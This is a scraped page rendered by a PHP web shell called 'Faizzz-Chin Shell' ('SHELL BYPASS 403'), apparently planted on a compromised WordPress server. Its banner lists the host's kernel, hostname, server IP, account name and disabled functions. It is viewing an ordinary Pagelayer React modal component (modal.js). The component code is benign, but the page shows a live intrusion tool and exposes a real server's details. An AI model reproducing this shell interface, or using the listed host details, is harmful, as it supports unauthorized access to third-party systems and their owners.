SHELL BYPASS 403 |
Modern UI. Responsive. Powerful.

Faizzz-Chin Shell

Uname\Kernel: Linux server.kxo.bgz.mybluehostin.me 3.10.0-1160.119.1.el7.tuxcare.els19.x86_64 #1 SMP Mon Mar 31 17:29:00 UTC 2025 x86_64
Server: Apache
PHP Version: 8.2.29 [ PHP INFO ]
Operating System: Linux
Server Ip: 162.240.163.222
Your Ip: 216.73.216.145
Date Time: 2025-07-12 13:23:43
User: dilseshaadi (1027) | Group: dilseshaadi (1027)
Safe Mode: OFF
Disable Function: exec,passthru,shell_exec,system

name : modal.js
import { LabelControl } from './label';
import { useState, useRef, useEffect } from '@wordpress/element';
import { Popover } from '@wordpress/components';

export const ModalControl = (props) => {
	const { prop, children, label } = props;
	const { width } = prop;

	const [isModalVisible, setIsModalVisible] = useState(false);
	const modalRef = useRef(null);
	const modalIconRef = useRef(null);

	useEffect(() => {
		const handleDocumentClick = (e) => {

			// Access Modal Handler
			if (
				modalRef.current &&
				!modalRef.current.contains(e.target) &&
				modalIconRef.current &&
				!modalIconRef.current.contains(e.target)
			) {
				setIsModalVisible(false);
			}
		};

		document.addEventListener('click', handleDocumentClick);
		return () => {
			document.removeEventListener('click', handleDocumentClick);
		};
	}, []);
	
	var style = pagelayer_empty(width) ? {} : {width: width};
	
	return (
		<div className="components-base-control pagelayer-base-control">
			<LabelControl {...props} />
			<div className="pagelayer-elp-modal-div">
				<span
					className="pagelayer-elp-modal"
					onClick={() => setIsModalVisible(true)}
					ref={ modalIconRef }
				>
					<i className={`pli pli-window`}></i>
				</span>
				{isModalVisible && ( 
						<Popover className="pagelayer-elp-modal-wrapper" position="top-start">
							<div className="pagelayer-elp-modal-wrap" style={style} ref={ modalRef }>
								<div className="pagelayer-elp-modal-header">
									{ label }
									<i className="pagelayer-elp-modal-close pli pli-cross" aria-hidden="true" onClick={() => setIsModalVisible(false)}></i>
								</div>
								<hr />
								<div className="pagelayer-elp-modal-holder">
									{ children }
								</div>
							</div>
					</Popover>
				) }
			</div>
		</div>
	)
}
© 2025 Faizzz-Chin